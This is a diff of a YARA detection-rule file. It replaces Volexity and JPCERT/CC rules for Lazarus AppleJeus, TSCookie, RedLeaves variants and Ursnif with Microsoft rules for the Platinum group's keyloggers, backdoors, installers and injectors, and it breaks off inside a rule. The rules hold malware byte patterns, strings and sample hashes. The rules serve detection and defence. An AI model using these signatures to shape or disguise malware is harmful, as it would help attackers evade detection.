+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L142-L162"
+		license_url = "N/A"
+		hash = "48b89f61d58b57dba6a0ca857bce97bab636af65"
+		logic_hash = "99e0d300f030bb6407de1fda488b47c73f8278e9c015bf779259ddf1b68903a2"
 		score = 75
-		quality = 80
-		tags = "LAZARUS"
-		hash1 = "a0db8f8f13a27df1eacbc01505f311f6b14cf9b84fbc7e84cb764a13f001dbbb"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 78
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$str1 = "%sd.e%sc \"%s > %s 2>&1\"" wide
-		$str2 = "tuid"
-		$str3 = "content"
-		$str4 = "payload"
-		$str5 = "fconn"
-		$str6 = "Mozilla_%lu"
+		$str1 = "VPLRXZHTU"
+		$str2 = {64 6F 67 32 6A 7E 6C}
+		$str3 = "Dqpqftk(Wou\"Isztk)"
+		$str4 = "StartThreadAtWinLogon"
 
 	condition:
-		5 of them
+		$str1 and $str2 and $str3 and $str4
 }
-rule VOLEXITY_Apt_Win_Applejeus_D_Oct22 : LAZARUS
+rule MICROSOFT_Trojan_Win32_Plakelog : PLATINUM
 {
 	meta:
-		description = "Detected AppleJeus unpacked samples."
-		author = "threatintel@volexity.com"
-		id = "80d2821b-a437-573e-9e9d-bf79f9422cc9"
-		date = "2022-11-10"
-		modified = "2022-12-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L65-L83"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "23c0642e5be15a75a39d089cd52f2f14d633f7af6889140b9ec6e53c5c023974"
+		description = "Raw-input based keylogger"
+		author = "Microsoft"
+		id = "26f552e6-9abf-59ca-a8df-19473d6d775a"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L164-L184"
+		license_url = "N/A"
+		hash = "3907a9e41df805f912f821a47031164b6636bd04"
+		logic_hash = "e18cae8bb2a79f7d39a80669896b1f7a7c1726f14192abcc91388fd53781ffef"
 		score = 75
 		quality = 80
-		tags = "LAZARUS"
-		hash1 = "a241b6611afba8bb1de69044115483adb74f66ab4a80f7423e13c652422cb379"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$reg = "Software\\Bitcoin\\Bitcoin-Qt"
-		$pattern = "%s=%d&%s=%s&%s=%s&%s=%d"
-		$exec = " \"%s\", RaitingSetupUI "
-		$http = "Accept: */*" wide
+		$str1 = "<0x02>" wide
+		$str2 = "[CTR-BRK]" wide
+		$str3 = "[/WIN]" wide
+		$str4 = {8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B}
 
 	condition:
-		all of them
+		$str1 and $str2 and $str3 and $str4
 }
-rule VOLEXITY_Cf_Office_Win_Macro_Lazarus_Jeus_B : LAZARUS
+rule MICROSOFT_Trojan_Win32_Plainst : PLATINUM
 {
 	meta:
-		description = "Detects macros used by the Lazarus threat actor to distribute AppleJeus."
-		author = "threatintel@volexity.com"
-		id = "ac4d4e82-e29f-5134-999d-b8dcef59d285"
-		date = "2022-11-03"
-		modified = "2022-12-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L85-L104"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "e55199e6ad26894f98e930cd4716127ee868872d08ada1c44675e4db1ec27894"
+		description = "Installer component"
+		author = "Microsoft"
+		id = "41a4770a-b4d8-5ddc-8b4f-a4e87a1f3923"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L186-L204"
+		license_url = "N/A"
+		hash = "99c08d31af211a0e17f92dd312ec7ca2b9469ecb"
+		logic_hash = "5fa8e52c044e05d96c2c09b69ef884ed0ea863ceb3ba00cdf243a4907050de69"
 		score = 75
 		quality = 80
-		tags = "LAZARUS"
-		hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b"
-		memory_suitable = 0
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "dcb6cf7cf7c8fdfc89656a042f81136bda354ba6"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$a1 = ", vbDirectory) = \"\" Then" ascii
-		$a2 = ".Caption & " ascii
-		$a3 = ".nodeTypedValue" ascii
-		$a4 = ".Application.Visible = False" ascii
-		$a5 = " MkDir (" ascii
+		$str1 = {66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04}
+		$str2 = {4b D391 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
 
 	condition:
-		all of ($a*)
+		$str1 and $str2
 }
-rule VOLEXITY_Cf_Office_Win_Macro_Lazarus_Jeus : LAZARUS
+rule MICROSOFT_Trojan_Win32_Plagicom : PLATINUM
 {
 	meta:
-		description = "Detects malicious documents used by Lazarus in a campaign dropping the AppleJeus malware."
-		author = "threatintel@volexity.com"
-		id = "03d41314-c19f-566f-9571-48915a292433"
-		date = "2022-11-02"
-		modified = "2022-12-01"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L106-L124"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "8e5a9042ec1ddaf4da511743434461c9865f259c30a9b02c28475b3a59fe4fc1"
+		description = "Installer component"
+		author = "Microsoft"
+		id = "86ef6fbf-cd39-533f-893c-72f22d73c99a"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L206-L225"
+		license_url = "N/A"
+		hash = "99dcb148b053f4cef6df5fa1ec5d33971a58bd1e"
+		logic_hash = "d2645ecc3b4400af7d9949eeca01b1ed5d74516010658c66934772e04040d9cf"
 		score = 75
 		quality = 80
-		tags = "LAZARUS"
-		hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "c1c950bc6a2ad67488e675da4dfc8916831239a7"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$s1 = "0M8R4K" ascii
-		$s2 = "bin.base64" ascii
-		$s3 = "dragon" ascii
-		$s4 = "Workbook_Open" ascii
+		$str1 = {C6 44 24 ?? 68 C6 44 24 ?? 4D C6 44 24 ?? 53 C6 44 24 ?? 56 C6 44 24 ?? 00}
+		$str2 = "OUEMM/EMM"
+		$str3 = {85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3}
 
 	condition:
-		3 of ($s*)
+		$str1 and $str2 and $str3
 }
-/*
- * YARA Rule Set
- * Repository Name: JPCERTCC
- * Repository: https://github.com/JPCERTCC/MalConfScan/
- * Retrieval Date: 2024-08-04
- * Git Commit: 19ec0d145535a6a4cfd37c0960114f455a8c343e
- * Number of Rules: 30
- * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * The 3-Clause BSD License
-
-SPDX short identifier: BSD-3-Clause
-Note: This license has also been called the "New BSD License" or "Modified BSD License". See also the 2-clause BSD License.
-
----
-
-Copyright 2023 JPCERT Coordination Center
-
-Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
-
-3. Neither JPCERT Coordination Center nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
-
-IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
- */
-rule JPCERTCC_Tscookie_1
+rule MICROSOFT_Trojan_Win32_Plaklog : PLATINUM
 {
 	meta:
-		description = "detect TSCookie in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "5407a5c9-2fc5-5b9b-977f-81384a343d15"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L8-L21"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "71e51ceb51cff25abefd698ce33f32388cc28ad5936f30fbbb9925d9af79ad85"
+		description = "Hook-based keylogger"
+		author = "Microsoft"
+		id = "4faffe66-63fc-5498-be59-dbbbb909ad74"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L227-L246"
+		license_url = "N/A"
+		hash = "831a5a29d47ab85ee3216d4e75f18d93641a9819"
+		logic_hash = "af8dd0749d07f0b99cf3dd24bc144d38fe6db00f699bc7f45f197ac6e1663cad"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "6d2f5675630d0dae65a796ac624fb90f42f35fbe5dec2ec8f4adce5ebfaabf75"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "e18750207ddbd939975466a0e01bd84e75327dda"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$v1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" wide
-		$b1 = { 68 D4 08 00 00 }
+		$str1 = "++[%s^^unknown^^%s]++"
+		$str2 = "vtfs43/emm"
+		$str3 = {33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3}
 
 	condition:
-		all of them
+		$str1 and $str2 and $str3
 }
-rule JPCERTCC_TSC_Loader
+rule MICROSOFT_Trojan_Win32_Plapiio : PLATINUM
 {
 	meta:
-		description = "detect TSCookie Loader in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "378cc8a3-6a76-50d1-b1d2-1a6ca1a75a46"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L23-L35"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "c825253ba897f0f7310162d0473e645dc40b421e9251977384cca2fdc735f7a8"
+		description = "JPin backdoor"
+		author = "Microsoft"
+		id = "538086b5-eb06-5e41-90d4-ab8f2b001c42"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L248-L267"
+		license_url = "N/A"
+		hash = "3119de80088c52bd8097394092847cd984606c88"
+		logic_hash = "580fb1377d98e7ffcb9823b5c485ff536813e3df5d8bded745373b2a3a82fcfd"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "3acb8fe2a5eb3478b4553907a571b6614eb5455c"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$v1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" wide
-		$b1 = { 68 78 0B 00 00 }
+		$str1 = "ServiceMain"
+		$str2 = "Startup"
+		$str3 = {C6 45 ?? 68 C6 45 ?? 4D C6 45 ?? 53 C6 45 ?? 56 C6 45 ?? 6D C6 45 ?? 6D}
 
 	condition:
-		all of them
+		$str1 and $str2 and $str3
 }
-rule JPCERTCC_Redleaves
+rule MICROSOFT_Trojan_Win32_Plabit : PLATINUM
 {
 	meta:
-		description = "detect RedLeaves in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "e17a85de-6a15-5de5-ba9e-03ac6d896d7d"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://blogs.jpcert.or.jp/en/2017/05/volatility-plugin-for-detecting-redleaves-malware.html"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L53-L66"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "c79815dd26070184688d43b336dc2be07df5e2236e60c8ecc42f5efec2cab190"
+		description = "Installer component"
+		author = "Microsoft"
+		id = "cee48cbb-f980-50cc-b28a-2e80e7f1798b"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L269-L287"
+		license_url = "N/A"
+		logic_hash = "35f12d45c8ee5f8e2b0bcd57ae14c0ba52670abc1212f94aa276efbbe1043146"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory block scan"
-		hash1 = "5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481"
+		tags = "PLATINUM"
+		sample_sha1 = "6d1169775a552230302131f9385135d385efd166"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$v1 = "red_autumnal_leaves_dllmain.dll"
-		$b1 = { FF FF 90 00 }
+		$str1 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+		$str2 = "GetInstanceW"
+		$str3 = {8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE}
 
 	condition:
-		$v1 and $b1 at 0
+		$str1 and $str2 and $str3
 }
-rule JPCERTCC_Himawari
+rule MICROSOFT_Trojan_Win32_Placisc2 : PLATINUM
 {
 	meta:
-		description = "detect Himawari(a variant of RedLeaves) in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "85c33dc6-0f9b-5645-b236-f416df16b4a4"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://www.jpcert.or.jp/present/2018/JSAC2018_01_nakatsuru.pdf"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L68-L82"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "9014e6e02fb9d8fa0f646c61647ab28c3cb08f10f8f584ddd11eba27211307f5"
+		description = "Dipsind variant"
+		author = "Microsoft"
+		id = "a5557cfa-354c-5913-9b63-f53ffb294796"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L289-L309"
+		license_url = "N/A"
+		hash = "bf944eb70a382bd77ee5b47548ea9a4969de0527"
+		logic_hash = "6629ca96c73e48bc14c811df781973f8040f88bcbf9eda601e9f5db86e11c20b"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "3938436ab73dcd10c495354546265d5498013a6d17d9c4f842507be26ea8fafb"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "d807648ddecc4572c7b04405f496d25700e0be6e"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$h1 = "himawariA"
-		$h2 = "himawariB"
-		$h3 = "HimawariDemo"
+		$str1 = {76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA }
+		$str2 = "VPLRXZHTU"
+		$str3 = "%d) Command:%s"
+		$str4 = {0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A}
 
 	condition:
-		all of them
+		$str1 and $str2 and $str3 and $str4
 }
-rule JPCERTCC_Lavender
+rule MICROSOFT_Trojan_Win32_Placisc3 : PLATINUM
 {
 	meta:
-		description = "detect Lavender(a variant of RedLeaves) in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "8c30ae73-161f-5117-a1f9-fad0bd5278de"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L84-L97"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "bf64f927e2c8e9be0f11497f94357de8e3fadcf09ba224d6fec92841c89c1dc5"
+		description = "Dipsind variant"
+		author = "Microsoft"
+		id = "f2089236-8227-5042-9086-fb77aebd147f"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L311-L329"
+		license_url = "N/A"
+		hash = "1b542dd0dacfcd4200879221709f5fa9683cdcda"
+		logic_hash = "3a1afe737c08b4d9149380e04f5d6240a00b237822c3c82d82eccf5412cb05d1"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "bbd4992ee3f3a3267732151636359cf94fb4575d"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$a1 = { C7 ?? ?? 4C 41 56 45 }
-		$a2 = { C7 ?? ?? 4E 44 45 52 }
+		$str1 = {BA 6E 00 00 00 66 89 95 ?? ?? FF FF B8 73 00 00 00 66 89 85 ?? ?? FF FF B9 64 00 00 00 66 89 8D ?? ?? FF FF BA 65 00 00 00 66 89 95 ?? ?? FF FF B8 6C 00 00 00}
+		$str2 = "VPLRXZHTU"
+		$str3 = {8B 44 24 ?? 8A 04 01 41 32 C2 3B CF 7C F2 88 03}
 
 	condition:
-		all of them
+		$str1 and $str2 and $str3
 }
-rule JPCERTCC_Armadill
+rule MICROSOFT_Trojan_Win32_Placisc4 : PLATINUM
 {
 	meta:
-		description = "detect Armadill(a variant of RedLeaves) in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "0e6fb091-5c26-5419-ac99-5ddc9db29fc0"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L99-L111"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "a76d434469a45e1c48b8ec3dc9622017c78ea52824006ddfcf3c368fbda7c912"
+		description = "Installer for Dipsind variant"
+		author = "Microsoft"
+		id = "04770059-06ca-5315-a7b3-0e9fbcecfc57"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L331-L350"
+		license_url = "N/A"
+		hash = "3d17828632e8ff1560f6094703ece5433bc69586"
+		logic_hash = "4fa4f48d6747cde6d635eca2f5277da7be17473a561828eafa604fbc2801073a"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "2abb8e1e9cac24be474e4955c63108ff86d1a034"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$a1 = { C7 ?? ?? 41 72 6D 61 }
-		$a2 = { C7 ?? ?? 64 69 6C 6C }
+		$str1 = {8D 71 01 8B C6 99 BB 0A00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A}
+		$str2 = {6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5}
+		$str3 = {C6 44 24 ?? 64 C6 44 24 ?? 6F C6 44 24 ?? 67 C6 44 24 ?? 32 C6 44 24 ?? 6A}
 
 	condition:
-		all of them
+		$str1 and $str2 and $str3
 }
-rule JPCERTCC_Zark20Rk
+rule MICROSOFT_Trojan_Win32_Plakpers : PLATINUM
 {
 	meta:
-		description = "detect zark20rk(a variant of RedLeaves) in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "baf3ebfe-80dd-5601-9ba9-8866b6ab6f14"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L113-L126"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "07c5c97916bd9ec19591d90f8b7d872fca571f3479148157cf1ee9e05c272e5c"
+		description = "Injector / loader component"
+		author = "Microsoft"
+		id = "d37c6ac5-ca46-5fb2-80bd-ab63c8dbcd21"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L352-L371"
+		license_url = "N/A"
+		hash = "fa083d744d278c6f4865f095cfd2feabee558056"
+		logic_hash = "d3705a34232ba2b00786b32f84823d3a6b037ed6a5882983e69addc020bc0b35"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "d95ad7bbc15fdd112594584d92f0bff2c348f48c748c07930a2c4cc6502cd4b0"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "3a678b5c9c46b5b87bfcb18306ed50fadfc6372e"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$a1 = { C7 ?? ?? 7A 61 72 6B }
-		$a2 = { C7 ?? ?? 32 30 72 6B }
+		$str1 = "MyFileMappingObject"
+		$str2 = "[%.3u]  %s  %s  %s [%s:" wide
+		$str3 = "%s\\{%s}\\%s" wide
 
 	condition:
-		all of them
+		$str1 and $str2 and $str3
 }
-rule JPCERTCC_Ursnif_1
+rule MICROSOFT_Trojan_Win32_Plainst2 : PLATINUM
 {
 	meta:
-		description = "detect Ursnif(a.k.a. Dreambot, Gozi, ISFB) in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "e93bc13b-33a9-5d9a-92a9-52f16a97fb16"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L128-L158"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "6c224b43e8ec0fa9540a1fdedce7ce4b97f8ab7196a9619594b7dcb9c2dc5169"
-		score = 60
-		quality = 60
-		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "0207c06879fb4a2ddaffecc3a6713f2605cbdd90fc238da9845e88ff6aef3f85"
-		hash2 = "ff2aa9bd3b9b3525bae0832d1e2b7c6dfb988dc7add310088609872ad9a7e714"
-		hash3 = "1eca399763808be89d2e58e1b5e242324d60e16c0f3b5012b0070499ab482510"
+		description = "Zc tool"
+		author = "Microsoft"
+		id = "7202eeb5-269d-5e9a-9a93-bdf489639e74"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L373-L392"
+		license_url = "N/A"
+		hash = "3f2ce812c38ff5ac3d813394291a5867e2cddcf2"
+		logic_hash = "4dc897a598fd491694f8fe3ec4ae9278dc341ffd9f95f416eb5e98fb5aa200e4"
+		score = 75
+		quality = 80
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "88ff852b1b8077ad5a19cc438afb2402462fbd1a"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$a1 = "soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x"
-		$b1 = "client.dll" fullword
-		$c1 = "version=%u"
-		$c2 = "user=%08x%08x%08x%08x"
-		$c3 = "server=%u"
-		$c4 = "id=%u"
-		$c5 = "crc=%u"
-		$c6 = "guid=%08x%08x%08x%08x"
-		$c7 = "name=%s"
-		$c8 = "soft=%u"
-		$d1 = "%s://%s%s"
-		$d2 = "PRI \x2A HTTP/2.0"
-		$e1 = { A1 ?? ?? ?? 00 35 E7 F7 8A 40 50 }
-		$e2 = { 56 56 56 6A 06 5? FF ?? ?? ?? ?? 00 }
-		$f1 = { 56 57 BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A5 }
-		$f2 = { 35 8F E3 B7 3F }
-		$f3 = { 35 0A 60 2E 51 }
+		$str1 = "Connected [%s:%d]..."
